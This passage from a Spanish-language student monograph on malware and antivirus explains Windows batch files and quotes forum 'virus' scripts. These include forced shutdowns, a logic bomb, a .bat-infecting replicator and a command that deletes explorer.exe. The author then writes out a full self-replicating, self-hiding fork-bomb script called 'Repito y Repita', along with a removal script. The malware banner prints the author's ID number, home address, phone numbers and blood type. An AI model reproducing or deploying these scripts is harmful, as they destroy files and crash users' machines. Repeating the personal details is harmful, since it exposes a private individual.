informática, existieron ciertos momentos claves para el desarrollo de los actuales antivirus,
entre esto están los siguientes:
• 1970: El primer indicio de un virus creado fue por los programadores de la empresa
AT&T, en medio de un juego entre Robert Thomas Morris (1932 – 2011), H. Douglas
Mcllroy (1932 - ), Victor Vysottsky (1931 – 2012) y Kenneth Thompson (1943 - )
llamado Core Wars. En este se creaban programas para destruir la memoria del
contrincante o siquiera dañar el correcto funcionamiento del equipo, ya además fue
creado el primer intento de antivirus llamado Reeper que tenía la función de destruir los
programas dañinos. El juego acabó debido a su gran grado de peligrosidad, y fue
consolidado entre los programadores mantener en secreto esto y evitar hablar de ello.
• 1983: El Dr. Fred Cohen (1956 - ) plantea la imposibilidad de hacer un programa capaz
de detectar y eliminar virus informáticos.
• 1987: Expertos de la compañía IBM diseñaron el primer programa antivirus que
desinfectaba el correo interno (Outlook).
• 1989: Sale a la venta el primer antivirus de la compañía IBM.
! 32!
5.3. CMD O SÍMBOLO DEL SISTEMA
Según la sección de “Ayuda y procedimientos” de Microsoft Windows 7, se define el
símbolo del sistema como el punto de entrada para comandos de MS DOS (Microsoft Disk
Operating System) y otro tipo de comandos. Este sistema es utilizado para realizar tareas en
un equipo sin hacer uso del sistema gráfico de Windows. Este método es utilizado con
frecuencia por usuarios avanzados para programar.
Dentro de las bases de la programación es clave entender que el modo de comunicación
entre el programador y el equipo son los lenguajes de programación. Así como para hablar
con alguien necesitamos del lenguaje o los idiomas, para poder llegar a una correcta
comunicación con el equipo, mediante el símbolo del sistema, se necesita de un lenguaje de
máquina con sus propios términos y reglas. En el caso del Microsoft Windows 7 el lenguaje
de programación usado es el MS DOS.
Para entrar a este se hace clic en el botón de Inicio, en el cuadro de búsqueda se escribe
“Símbolo de sistema” y en la lista de resultados se selecciona “Símbolo de sistema”.
El término de símbolo del sistema se conoce en el MS DOS como > (o carácter mayor que)
que muestra una interfaz de línea de comandos11, esperando aceptar instrucciones o
comandos. Es preciso especificar la ubicación (o en otros textos, conocido como directorio
de trabajo actual) en la que se va a aplicar el símbolo del sistema. Por ejemplo: si en la
ventana del símbolo del sistema se tiene C:\>, esto significaría que el comando que se
escriba a continuación será ejecutado en la unidad C del equipo. Estas unidades están
compuestas por muchos subdirectorios o subcarpetas. El directorio actual en el que está
localizado el DOS se reconoce por ser el último a la izquierda del símbolo de sistema (>), !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!11 Forma de comunicación entre el usuario y el sistema operativo por medio de comandos.
! 33!
teniendo que los demás directorios (de nivel superior) están separados por barras invertidas
( \ ), no barras ( / ), antes de este. Así, se podría pensar que las unidades de disco como un
directorio raíz, que al igual que las raíces, está subdividido en muchas partes que también
están subdivididas. Para cambiar de unidad de disco simplemente se escribe la unidad a la
que se quiere ir así:
C:\> A:
A:\>
En el Anexo 1 se encuentra una lista de los comandos usados con mayor frecuencia y de
mayor relevancia para el trabajo de grado. Estos no tienen que estar en mayúsculas o
minúsculas, porque el DOS es indiferente frente a esto.
No puede ser olvidado el hecho de que hay algunos comandos que para ser ejecutados
necesitan el permiso del administrador y por tanto se va a pedir una contraseña o una
confirmación.
5.4. BLOC DE NOTAS Y PROCESAMIENTO POR LOTES
Según la sección de “Ayuda y procedimientos” de Microsoft Windows 7, el Bloc de notas
es un programa de edición de archivos de texto básico con el que viene equipado todo
equipo. Estos archivos de texto se identifican con una extensión .txt.
Para entrar a este se hace clic en el botón de Inicio, en el cuadro de búsqueda se escribe
“Bloc de notas” y en la lista de resultados se selecciona “Bloc de notas”.
Aunque este programa fue diseñado para abrir y editar texto, también tiene una aplicación
dentro de la programación. En este se pueden escribir comandos de MS DOS para que luego
! 34!
sean leídos en el Símbolo del Sistema. Esto se logra cambiando la extensión del archivo .txt
a .bat, para que sea procesado por lotes.
El procesamiento por lotes es una función del DOS hecha para ahorrar comandos
repetitivos. En el caso de una empresa, por ejemplo, se necesita que los empleados todos
los días hagan ciertas tareas que, por más variaciones que hayan en su currículo, muy rara
vez van a cambiar. Estas tareas no son dictadas continuamente por el jefe, sino que están
dentro de una lista de quehaceres diarios del empleado. Sucede lo mismo con el DOS.
Cuando se necesita que el DOS opere ciertos comandos con frecuencia, para evitar la tarea
de teclearlos todo el tiempo, se crean archivos de procesamiento por lotes que, según la
referencia del ejemplo, son listas de órdenes a cumplir que casi nunca van a variar.
Para terminar una orden el DOS permite el uso de CTRL-C (copiar), y en el caso del
procesamiento por lotes se puede cancelar utilizando CTRL-C. Cuando esto sucede en
medio de la ejecución del archivo, el DOS pide una confirmación para poder terminar con
el procesamiento por lotes de la forma “(S/N)”.
! 35!
6. CAPÍTULO PROPOSITIVO
Se crea un malware con su respectivo antivirus por medio del programa Bloc de Notas o
Notepad.
6.1. METODOLOGÍA
6.1.1. Publicaciones
Para poder entender la creación del malware y del antivirus es primordial tener un
conocimiento básico sobre programación y manejo de comandos del DOS o MS DOS. Para
esto se vieron publicaciones y guias informales hechas por programadores profesionales o
empíricos para poder tener un mejor concepto de cómo es el correcto manejo del símbolo
de sistema.
En un principio tenemos la publicación del libro “Virus en las computadoras” de Gonzalo
Ferrayra, en donde se plantean las bases de la programación, definiendo esta como: “una
secuencia de instrucciones bien definidas o algoritmo que permiten resolver paso a paso un
problema”12. Según Ferreyra, en este mismo contexto, las principales y más importantes
preocupaciones de todo programador deben ser:
1. Evitar la creación de bucles, loops o ciclos infinitos sin salida.
2. Manejar correctamente los archivos cuidándose de cualquier pérdida de
información.
3. No incluir comandos que puedan “dejar congelado” el equipo.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!• 12 FERREYRA, Gonzalo. Virus en las computadoras. 2ª Edición. Macrobit Editores. D.F, Mexico. 1991.
MF 1-4
! 36!
No se puede olvidar que, en el caso de la creación del virus, el programa que se creará será
basado en estas reglas, y que por tanto es de crucial importancia “conocerlas para poder
romperlas”.
Como primera publicación por un hacker se tiene al usuario MASTERHACK81, del blog
Hackycrack, quien presenta una corta guía de cómo lograr un malware básico por
procesamiento de lotes o batch processing con el Bloc de notas. Como primer paso,
presenta cuatro principales reglas para programar un virus:
• No ejecutar los virus (malware) sin saber que están correctamente instalados.
• Al terminar un virus (malware) se debe escribir pause y exit, de lo contrario no
funcionará.
• Todo virus (malware) se debe comprimir.
• Al guardar el virus (malware) se debe cambiar *.txt (el nombre que predeterminado de
todo archivo hecho en Bloc de notas) por nombredelvirus.bat, o no se podrá ejecutar y
seguirá siendo simple texto.
Así, el autor sigue con varios ejemplos de malware entre ellos:
@echo off echo hola echo ¿sabes? Voy a apagar tu PC shutdown –t 10 pause exit13
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!• 13 MASTERHACK81. Como hacer y enviar un virus.bat. Foro [en línea]. HACKYCRACK. 13 de Mayo
de 2010 [citado el 11 Mayo 2012]. Disponible en: <http://hackykrack.blogspot.com/2010_05_09_archive.html>
! 37!
Este malware haría lo siguiente según los comandos: enviaría dos mensajes al usuario:
“hola” y “¿sabes? Voy a apagar tu PC” y seguido a esto, apagaría el equipo a los 10
segundos.
Por otro lado, el usuario Speed del Foro del PC, propone otra forma de hacer un software
malintencionado batch, por medio del tipo de malware llamado bombas lógicas. Estas son
programaciones activadas en fechas particulares, un número determinado de veces, en el
momento en que se cumplen una serie de condiciones especificadas por el programador.
Por ejemplo:
AT 16:30 SHUTDOWN –s –f –t 10 AT 16:30 msg * El computador se apagará.
Según los comandos (en el Anexo 1) en la primera línea se da la instrucción de que a las
16:30 (horario militar) el equipo será forzado, a los 10 segundos, a cerrar todas las
aplicaciones y se apagará. Además de esto a la misma hora antes del apagado aparecerá el
mensaje: “El computador se apagará”.
Desde otra perspectiva, Danny Mauricio Montero y Rodolfo Rojas, en su tesis de grado
“Virus informáticos” de la Universidad del Valle, presentan un programa virus codificado
en el lenguaje de procesamiento de lotes, capaz de modificar los archivos .bat. Su
composición es:
echo El Batch File Virus (BFV.BAT) echo Este programa demuestra como operan los virus echo informáticos y lo fácil que es crear un virus informático echo El directorio actual es: CD echo echo ATENCIÓN! ESTE PROGRAMA INFECTARÁ TODOS LOS ARCHIVOS .BAT echo DEL DIRECTORIO ACTUAL ¡ LOS ARCHIVOS .BAT INFECTADOS echo INFECTARÁN OTROS ARCHIVOS .BAT! USTED SE ARRIESGA A LA echo DESTRUCCIÓN TOTAL DE SUS ARCHIVOS .BAT AL EJECUTAR
! 38!
echo ESTE PROGRAMA ¡ echo echo Por favor, haga backup de todos sus archivos BATCH antes de ejecutar este echo programa. El no haber hecho backup antes de ejecutar este programa echo causará probablemente la perdida total de sus archivos BATCH. echo echo Pulse cualquier tecla para ejecutar el Batch File Virus o pulse ^c para cancelar pause > nul cls echo El directorio actual es: CD echo Infectando todos los archivos .BAT de este directorio ctty nul for %%f in (*.bat) do copy %%f + bfv.bat ctty con cls echo Todos los archivos .Bat de este directorio han sido infectados con el echo Batch File Virus echo Para erradicar el Batch File Virus restaure sus archivos .BAT a partir del echo backup hecho de estos previamente Echo Fin del BFV.BAT14
Según el autor este listado debe de guardarse con el nombre bfv.bat. Además, ignorando
todos los mensajes (cualquier texto seguido del comando echo), lo principal o el núcleo del
virus sería:
for %%f (*.bat) do copy %%f + bfv.bat Este código comandaría al MS DOS que añada una copia del BFV.BAT a todos los
archivos .bat del directorio actual. De esta manera, cada vez que se ejecute cualquier
archivo .bat del directorio actual, este continuará el ciclo de infección del virus. A partir de
esto, el autor plantea que, la regla central de los virus es que estos se pueden reproducir en
otros archivos ejecutables por medio de la conversión de programas normales no
contaminados en transmisores del virus.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!• 14 MONTERO, Danny Mauricio y ROJAS, Rodolfo. Virus informáticos. Tesis. Universidad del Valle.
Santiago de Cali, Colombia. 2000. Pag. 8 – 9.
! 39!
También está la propuesta de joseph dx en WORLD OF HACKER, quien postula la
posibilidad de un virus por medio de un bucle infinito. Por ejemplo:
@echo off :daniel echo hola goto daniel
: (dos puntos) se refiere a un shell, un direccionamiento de comandos según una condición
dada, en este caso el shell se llama daniel. echo hola se refiere al primer mensaje que debe
aparecer antepuesto al comando que se va a repetir. goto daniel15 se refiere a que el sistema
debe volver al shell daniel, y como comando final es la condición para darle fin a la
instrucción del sistema pero en este caso la condición de que este se detenga es que vuelva
a comenzar, dirigiendo al símbolo del sistema a una orden cíclica sin fin.
joseph dx, en la misma entrada de foro, también propone el siguiente malware para
ejemplificar una eliminación de un proceso:
@echo off taskkill /F /IM msnmsgr.exe del /F c:\windows\system32\explorer.exe shutdown -s -t 10 -c "Has caido en mis manos"16
Este tiene la función de acabar con dos procesos: msnmsgr.exe (MSN Messenger) y
explorer.exe (Explorador de Windows). taskkill tiene la función de acabar con los procesos;
/F se refiere a un proceso especifico e /IM se refiere a acabar con una imagen en el disco.
Al final tenemos la secuencia ya explicada de apagado del equipo en 10 segundos con el
comentario “Has caido en mis manos”.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!• 15 Que proviene de la raíz del inglés go to o ir a. • 16 josehp dx. Crear virus con notepad (bloc de notas). Foro [en línea]. WORLD OF HACKER.
lacoctelera. 8 de Abril de 2009 [citado el 11 Marzo 2012]. Disponible en: <http://h-ck-dx.lacoctelera.net/post/2009/04/08/crear-virus-con-notepad-bloc-notas>
! 40!
Por último presenta una serie de comandos para explicar el condicional if (que viene del
inglés si):
@echo off if exist c:\prueba.txt (goto existe) else goto noexiste :existe echo si existe exit :noexiste echo no existe
En este caso se empieza por un condicionante y luego exist (existe) y es seguido por una
dirección de un archivo. Luego se dan las respuestas a las que debe recurrir el comando si
se cumple o no la condición, en este caso si existe debe ir a :existe (diciendo “si existe”) y
si no existe debe ir a :noexiste (diciendo “no existe”).
A continuación, el usuario Ronald (Isayuron), del blog Informática y tecnología CAE,
presenta en su entrada de blog un manual para hacer un “antivirus casero”. Su propuesta la
comienza con el siguiente código:
ATTRIB –S –H –R C:\virus.exe ERASE C:\virus.exe17
Explicándolo de la siguiente forma:
ATTRIB -S -H -R C:\ virus .exe Comando Atributo Atributo Atributo Ruta nombre extensión ERASE C:\ virus .exe Comando ruta nombre extension18
Por consiguiente, este código sirve para: quitarle al archivo virus.exe los atributos de
archivo de sistema, archivo oculto y archivo de solo lectura, y luego pasar a borrarlo.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!• 17 Ronald (Isayuron). Como crear un antivirus casero (usando bloc de notas). Blog [en línea]. Informática
y tecnología CAE. 3 de Noviembre de 2011 [citado el 11 Noviembre 2011]. Disponible en: <http://informaticacae.blogspot.com/2011/11/normal-0-21-false-false-false-es-co-x.html>
• 18 Ibid
! 41!
6.1.2. Programación
Por medio de publicaciones realizadas por hackers, crackers y conocedores del tema se
llega a obtener la información necesaria. El procedimiento será hecho por medio del
simulador de computadoras VirtualBox en una Mac con el sistema operativo Windows 7 y
haciendo uso del programa Bloc de Notas o Notepad.
El procedimiento de la propuesta es:
1. Se plantean los objetivos principales de los programas y sus respectivos nombres.
2. Se diseña la estructuración principal de los software. Al igual que en el caso de la
escritura de un texto, la programación por batch debe tener una estructuración. Esta
estructuración se da en los siguientes pasos:
a. Introducción: Se presenta el programa según su nombre, función, autor(es) y
cualquier otro dato que se desee dar (no es obligatorio en la programación del
malware).
b. Núcleo: En esta sección se encuentra la principal operación del programa, los
comandos y las operaciones necesarias para el correcto funcionamiento del
mismo.
c. Fin: Se muestran los resultados de la ejecución del programa y se da fin a este
(no es obligatorio en la programación del malware).
3. Luego de haber planteado el programa, se hace la simulación de los programas en el
software VirtualBox, con el fin de no correr el riesgo de perder información en algún
sistema operativo en uso.
! 42!
6.2. GENERALIDADES DE LOS PROGRAMAS
Antes de hacer el planteamiento de la programación se deben presentar los objetivos que se
desean con los programas y los nombres que se le van a dar:
• Malware: Este programa busca saturar la memoria RAM, irrumpir en el trabajo del
usuario e implantarse en nuevas carpetas dentro del directorio actual en el que está
localizado el virus, además será un virus de tipo descarado. El nombre del malware es:
Repito y Repita.
• Antivirus: Este programa tiene como propósito acabar con el virus “Repito y
Repita.bat” y con sus copias por medio del método de lista de virus. El nombre del
antivirus es: Siespanodol.
6.3. PROGRAMACIÓN
6.3.1. Malware
Sabiendo los objetivos principales se seleccionan los comandos principales
correspondientes a lo que se desea. En este caso serían respectivamente para:
• Implantar copias en una nueva carpeta en el directorio actual: MKDIR, IF NOT,
START, CALL y COPY.
• Saturar la memoria RAM (de manera poco ortodoxa): START, ECHO, IF NOT y
GOTO.
! 43!
6.3.1.1. Introducción
El principal comando usado en la presentación del malware es el ECHO. Sabiendo esto
solo se necesita preparar el texto de ostentación, que será el siguiente:
VIRUS “REPITO Y REPITA” ------------------------------------- Autor: Daniel M. Posso G. T. I.: 95120219589 Colegio: Gimnasio la Colina, Cali, Colombia Dirección: Cr 64ª # 13ª-57, Casa 16 Teléfono: 372-1206 Celular: 313-789-5657 Tipo de sangre: O+ ------------------------------------- Saludos mi querido usuario, En este momento es victima del no tan conocido pero sí efectivo virus o malware llamado “repito y repita”, espero que disfrute de la no tan esperada ejecución de este programa y se quede complacido con un servicio eficaz. En caso de inconveniente por favor consultar con el respetable autor de este software, cuyos datos están en la parte superior de este texto. Le deseo una feliz ejecución C=.
Seguido a esto se organiza el texto de tal forma que se pueda acomodar en el espacio de la
ventana del cmd, agregando al principio @ECHO OFF, para que solo se muestren los
mensajes; y al final PAUSE y CLS, para poder leer el texto y que luego este desaparezca.
@echo off echo VIRUS “REPITO Y REPITA” echo ------------------------------------- echo ------------------------------------- echo Autor: Daniel M. Posso G. echo T. I.: 95120219589 echo Colegio: Gimnasio la Colina, Cali, Colombia echo Dirección: Cr 64ª # 13ª-57, Casa 16 echo Teléfono: 372-1206 echo Celular: 313-789-5657 echo Tipo de sangre: O+ echo ------------------------------------- echo ------------------------------------- echo Buenas mi querido usuario, echo Usted en este momento es victima del no tan conocido pero sí efectivo virus o echo malware llamado “repito y repita”, espero que disfrute de la no tan esperada echo ejecución de este programa y se quede complacido con un servicio eficaz. echo Para algún inconveniente por favor consultar con el respetable autor de este
! 44!
echo software, cuyos datos están en la parte superior de este texto. echo Le deseo una feliz ejecución C=. pause cls
6.3.1.2. Núcleo
A continuación de la introducción está el núcleo, en donde se encuentran los comandos
principales para el funcionamiento y la ejecución del malware.
Se decide que el virus funciona de la siguiente forma:
En primer lugar, se crea un condicionamiento de acuerdo con la existencia de un archivo
llamado Repita.txt. Si este archivo no existe (lo que es lo más probable) en el directorio
actual en el que se ejecute el malware, se creará una nueva carpeta de nombre “Copias” y
se realizará la copia del virus en dicha carpeta. Además de esto se hará el lanzamiento de
ventanas con el conocido juego de niños “Repito y Repita se fueron al mar, Repito se ahogó
¿Quién quedó?”.
Esto se logra con los siguientes comandos:
if not exist Repita.txt mkdir Copias if not exist Repita.txt copy “Repito y Repita”.bat Copias if not exist Repita.txt start call Copias\“Repito y Repita”.bat if not exist Repita.txt attrib “Repito y Repita”.txt +h +s :Repita if not exist Repita.txt start echo Repito y Repita se fueron al mar, Repito se ahogó ¿Quién quedó? if not exist Repita.txt goto Repita
Este código comienza con el comando IF NOT EXIST (si no existe) programando un
comando dependiente de la ausencia de un archivo llamado “Repita.txt”, lo que quiere decir
que las líneas 1, 2, 3, 4, 6 y 7 dependerán de dicha ausencia para ejecutarse. Luego está el
comando MKDIR que crea una carpeta nueva con el nombre de “Copias”, en la que se
! 45!
guardará la copia del virus dada por la siguiente línea con el comando COPY. Seguido a
esto, utilizando el comando START y CALL se abre una nueva ventana en la que se ejecuta
de nuevo el virus para que este haga lo mismo que el primero y cree e inicie un tercero, el
tercero un cuarto y así sucesivamente sin llegar a un fin. En cuanto a la primera ejecución,
del virus original, este se otorga a si mismo los atributos de archivo oculto (+h) y archivo
del sistema (+s) por medio del comando ATTRIB. Luego se crea un shell llamado Repita
para que en el comando final se cree el bucle19 que depende, al igual que en la primera
parte, de la ausencia del archivo Repita.txt y en caso la ausencia de este el comando GOTO
redirige al shell.
6.3.1.3. Fin
Sabiendo que la ejecución de este programa no tiene fin (bucle), el programa solo llevará a
la saturación de la memoria RAM y al apagado automático del computador.
6.3.1.4. Malware completo
De este modo el código del virus completo sería:
@echo off echo VIRUS “REPITO Y REPITA” echo ------------------------------------- echo ------------------------------------- echo Autor: Daniel M. Posso G. echo T. I.: 95120219589 echo Colegio: Gimnasio la Colina, Cali, Colombia echo Dirección: Cr 64ª # 13ª-57, Casa 16 echo Teléfono: 372-1206 echo Celular: 313-789-5657 echo Tipo de sangre: O+ echo -------------------------------------
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!• 19 Ver la propuesta de joseph dx en la sección de Programación de la Metodología, supra. pg. 39.!
! 46!
echo ------------------------------------- echo Buenas mi querido usuario, echo Usted en este momento es victima del no tan conocido pero sí efectivo virus o echo malware llamado “repito y repita”, espero que disfrute de la no tan esperada echo ejecución de este programa y se quede complacido con un servicio eficaz. echo Para algún inconveniente por favor consultar con el respetable autor de este echo software, cuyos datos están en la parte superior de este texto. echo Le deseo una feliz ejecución C=. pause cls if not exist Repita.txt mkdir Copias if not exist Repita.txt copy “Repito y Repita”.bat Copias if not exist Repita.txt start call Copias\“Repito y Repita”.bat if not exist Repita.txt attrib “Repito y Repita”.txt +h +s :Repita if not exist Repita.txt start echo Repito y Repita se fueron al mar, Repito se ahogó ¿Quién quedó? if not exist Repita.txt goto Repita
Para finalizar se copia este código a un archivo Bloc de Notas o Notepad nuevo llamado
“Repito y Repita” de extensión tipo .bat.
6.3.2. Antivirus
Sabiendo el objetivo principal, se seleccionan los comandos principales correspondientes a
lo que se desea. En este caso serían respectivamente: IF, CLS, ATTRIB, DEL.
6.3.2.1. Introducción
Como un principio, se muestra en pantalla un mensaje que da a conocer el software y su
función dentro del equipo. Este mensaje es:
ANTIVIRUS SIESPANODOL ------------------------------------- ------------------------------------- Por: Daniel Mateo Posso González ------------------------------------- ------------------------------------- El siguiente antivirus elimina cualquier virus/malware de tipo “Repito y Repita”.
! 47!
Este antivirus solo funciona para el virus/malware “Repito y Repita” y por tanto no tendrá ningún efecto sobre cualquier otro virus.
Luego de tener el mensaje se acomoda a la ventana del cmd agregando echo, y al final
PAUSE y CLS para que se pueda leer el mensaje y después desaparezca.
@echo off echo ANTIVIRUS SIESPANODOL echo ------------------------------------- echo ------------------------------------- echo Por: Daniel Mateo Posso González echo ------------------------------------- echo ------------------------------------- echo El siguiente antivirus elimina cualquier virus/malware de tipo “Repito y echo Repita”. echo Este antivirus solo funciona para el virus/malware “Repito y Repita” echo y por tanto no tendrá ningún efecto sobre cualquier otro virus. pause cls
6.3.2.2. Núcleo
Después de haber definido la introducción, se define el núcleo del antivirus donde están los
comandos principales y fundamentales para su correcto funcionamiento.
Sabiendo que el antivirus funcionará según una base de datos que contiene solo al virus
“Repito y Repita.bat”, el antivirus puede basarse solo en la intercepción y eliminación de
este archivo. Teniendo en cuenta que el virus es un archivo oculto y un archivo de sistema,
y sobre todo que el nombre del archivo, los comandos apropiados para la eliminación del
virus son:
attrib “Repito y Repita”.bat –h –s /s if exist “Repito y Repita”.bat del “Repito y Repita”.bat /s if exist Copias rd Copias
Este código propone como un principio, eliminar los atributos de archivo oculto y archivo
del sistema con el comando ATTRIB –h –s, de un archivo que es buscado dentro del
! 48!
directorio actual y sus subdirectorios. Seguido a esto se establece una condición de
existencia con IF EXIST sobre el malware “Repito y Repita.bat” en la que, si el archivo
está presente en el directorio o en los subdirectorios, este será borrado. Esto ultimo pasa de
la misma manera con el subdirectorio creado por el virus llamado “Copias”.
6.3.2.3. Fin
Para finalizar el proceso se da un reporte en caso de que se hayan eliminado virus con el
siguiente código:
if not exist “Repito y Repita”.bat echo Virus/malware “Repito y Repita.bat” eliminado
Este, utilizando el condicional de ausencia malware, avisa al usuario en caso de que no
existe ningún software malintencionado tipo “Repito y Repita.bat” en el directorio actual y
sus subdirectorios.
6.3.2.4. Antivirus completo
Así el código final y completo del antivirus es:
@echo off echo ANTIVIRUS SIESPANODOL echo ------------------------------------- echo ------------------------------------- echo Por: Daniel Mateo Posso González echo ------------------------------------- echo ------------------------------------- echo El siguiente antivirus elimina cualquier virus/malware de tipo “Repito y echo Repita”. echo Este antivirus solo funciona para el virus/malware “Repito y Repita” echo y por tanto no tendrá ningún efecto sobre cualquier otro virus. pause cls attrib “Repito y Repita”.bat –h –s /s if exist “Repito y Repita”.bat del “Repito y Repita”.bat /s
! 49!
if exist Copias rd Copias if not exist “Repito y Repita”.bat echo Virus/malware “Repito y Repita.bat” eliminado
Para finalizar se copia este código a un nuevo archivo de Bloc de Notas o Notepad y se
guarda con el nombre “Antivirus Siespanodol” con una extensión .bat o batch.
! 50!
7. CONCLUSIONES
• Fue posible la creación de un malware y de su respectivo antivirus en Bloc de Notas o
Notepad por medio de la correcta documentación sobre comandos de DOS en textos
teóricos y algunas guías de hackers y/o crackers publicadas en internet.
• A diferencia de cómo se planteó en la hipótesis la creación de los software no es posible
utilizando solo publicaciones hechas por hackers y/o crackers, porque para llegar a
estos es necesario una contextualización con textos básicos sobre el tema de
programación.
• Un malware, virus o software malintencionado es, como su nombre lo dice, un
programa computacional con la finalidad de generar daños en el correcto
funcionamiento del equipo o manipular la información del usuario con un propósito
perjudicial.
• Un antivirus es un programa encargado de acabar con cualquier tipo de software
malintencionado por medio de la revisión de los archivos de un directorio.
• Un malware puede propagarse por diferentes medios siempre optando por su mayor
posibilidad de difusión. Esto lo logran a través de “disfraces” como, íconos, videos,
publicidades, juegos o documentos llamativos.
• Un computador se ve afectado por la infección de un malware de manera que su
rendimiento puede disminuir, la información que almacena puede ser modificada o
eliminada, y/o su buen funcionamiento se puede ver perjudicado.
! 51!
• Un software, ya sea malware o antivirus, puede ser creado por medio de lenguajes de
programación si se tiene el suficiente conocimiento y práctica en el uso de dicho
lenguaje.
• Sabiendo que la mayoría de las fuentes de consulta de esta monografía fueron digitales,
es posible afirmar que la información para la programación de software de tipo
malintencionado y antivirus está disponible para cualquier persona con acceso a
internet.
• Teniendo en cuenta que muchas de las fuente de consulta fueron escritas por hackers
y/o crackers, es posible concluir que estos tienen un uso del leguaje informal y burdo,
haciendo difícil el entendimiento de sus textos y publicaciones.
• Desde la experiencia personal del autor, se puede concluir que un programa de
apariencia tan inofensiva y simple como Bloc de notas o Notepad puede llegar a ser una
herramienta subestimada de programación para software malintencionado o antivirus, al
alcance de cualquier usuario.
• La programación es una habilidad que requiere de un buen conocimiento en el lenguaje
que se va a manejar, una buena capacidad lógica y un correcto ordenamiento de ideas
según un claro concepto de lo que se quiere lograr.
• El procesamiento por lotes o CMD tiene grandes fallas frente a sus restricciones en el
uso de los comandos, que le permite a cualquier usuario acceder a una herramienta de
tan extremo cuidado como la programación.
• Es importante tener las precauciones necesarias en el momento de evitar la infección de
un malware, entre estas: hacer back-ups de la información guardada en nuestros
! 52!
equipos, no abrir correos electrónicos de contactos desconocidos y menos descargar sus
archivos adjuntos, tener cuidado en el momento de acceder a páginas de internet poco
conocidas o de dudosa fiabilidad, hacer análisis constante del equipo con un buen
antivirus y siempre mantener este último con las últimas actualizaciones.
! 53!
FUENTES DE CONSULTA
• Adleman Papers. Listado de publicaciones. Laboratory for Molecular Science [en
línea]. [15 de Febrero de 2012]. University of South Carolina. Disponible en:
<http://www.usc.edu/dept/molecular-science/fm-adleman-papers.htm>
• Antivirus. 22ª Versión. Real Academia Española [en línea]. [20 de Febrero de 2012].
Disponible en: <http://lema.rae.es/drae/?val=antivirus>
• Bloc de notas preguntas frecuentes. Microsoft. Centro de seguridad y protección [en
línea]. [20 de Febrero de 2012]. Disponible en: <http://windows.microsoft.com/es-
CO/windows7/Notepad-frequently-asked-questions>
• BEZTUZHEV,! Dmitry.! Colombia, el tercer país más atacado por virus en Latino
América: ataques aumentaron 320%. Portafolio.co [en línea]. [20 de Febrero de 2012].
15 de Febrero 2011. Disponible en: <http://www.portafolio.co/colombia-el-tercer-pais-
mas-atacado-virus-informaticos>
• Cristian F. Creación y Difusión de Virus. Segu-Info. Borhello [en línea]. [21 de Febrero
de 2012]. Disponible en: <http://www.segu-info.com.ar/virus/virus.htm>
• DE LA CUADRA, Fernando. Funcionamiento de un programa antivirus. Videosoft.
Vsantivirus [en línea]. [18 de Mayo de 2012]. Disponible en:
<http://www.vsantivirus.com/fdc-funcionamiento-antivirus.htm>
• Etimología de MALWARE. Artículo. Etimologías. De Chile.net [en línea]. [20 de Junio
de 2012]. Disponible en: <http://etimologias.dechile.net/?malware>
• FERREYRA, Gonzalo. Virus en las computadoras. 2ª Edición. Macrobit Editores. D.F,
Mexico. 1991.
! 54!
• FICARRA, Francisco V. C. Virus informáticos: entre el negocio y el temor. La Habana.
Chasqui. Junio del 2002. Vol. 78.
• HERNANDEZ, Ramón Orlando. Elementos teórico - prácticos útiles para conocer los
virus informáticos. Quito. ACIMED. 9 de Junio del 2003. Vol. 11, No, 5.
• Heurística en antivirus. Wikipedia [en línea]. [12 de Diciembre de 2012]. Disponible
en: <http://es.wikipedia.org/wiki/Heur%C3%ADstica_en_antivirus>
• How does anti-virus software work? Antivirus World [en línea]. [24 de Marzo de
2012]. Disponible en: <http://www.antivirusworld.com/articles/antivirus.php>
• JAMSA, Kris. DOS 6: Manual de referencia. 1ª Edición. McGraw Hill. Madrid,
España. 1993.
• STRICKLAND, Jonathen. How to Remove a Computer Virus. howstuffworks [en
línea]. [30 de Mayo de 2012]. Disponible en:
<http://electronics.howstuffworks.com/how-to-tech/how-to-remove-computer-
virus.htm>
• josehp dx. Crear virus con notepad (bloc de notas). Foro [en línea]. [25 de Abril de
2012]. WORLD OF HACKER. lacoctelera. 8 de Abril de 2009. Disponible en:
<http://h-ck-dx.lacoctelera.net/post/2009/04/08/crear-virus-con-notepad-bloc-notas>
• Marshal Brain y Wesley Fenlon. How Computer Viruses Work. howstuffworks [en
línea]. [27 de Agosto de 2012]. Disponible en:
<http://www.howstuffworks.com/virus.htm>
! 55!
• MASTERHACK81.! Como hacer y enviar un virus.bat. Foro [en línea]. [21 de
Septiembre de 2012]. HACKYCRACK. 13 de Mayo de 2010. Disponible en:
<http://hackykrack.blogspot.com/2010_05_09_archive.html>
• MONTERO, Danny Mauricio y ROJAS, Rodolfo. Virus informáticos. Tesis Ingeniero
de Sistemas. Santiago de Cali: Universidad del Valle. Facultad de Ingenierías, 2000. 90
p.
• ¿Qué es el software antivirus? Microsoft. Centro de seguridad y protección [en línea].
[13 de Septiembre de 2012]. Disponible en: <http://www.microsoft.com/es-
xl/security/resources/antivirus-whatis.aspx>
• ¿Qué es un virus? Microsoft. Centro de seguridad y protección [en línea]. [29 de
Octubre de 2012]. Disponible en: <http://www.microsoft.com/es-xl/security/pc-
security/virus-whatis.aspx>
• Ronald (Isayuron). Como crear un antivirus casero (usando bloc de notas). Blog [en
línea]. [21 de Octubre de 2012]. Informática y tecnología CAE. 3 de Noviembre de
2011. Disponible en: <http://informaticacae.blogspot.com/2011/11/normal-0-21-false-
false-false-es-co-x.html>
• Símbolo del sistema preguntas más frecuentes. Microsoft. Ayuda y procedimientos [en
línea]. [12 de Noviembre de 2012]. Disponible en: <http://windows.microsoft.com/es-
ES/windows7/Command-Prompt-frequently-asked-questions>
• Speed. Guia para crear bombas lógicas en batch. Foro [en línea]. [23 de Octubre de
2012]. Foro del PC. 15 de Abril de 2007. Disponible en:
<http://www.forodelpc.com/foro/index.php?topic=1828.0>
! 56!
• The System Boot Process Explained. Webopedia [en línea]. [13 de Octubre de 2012].
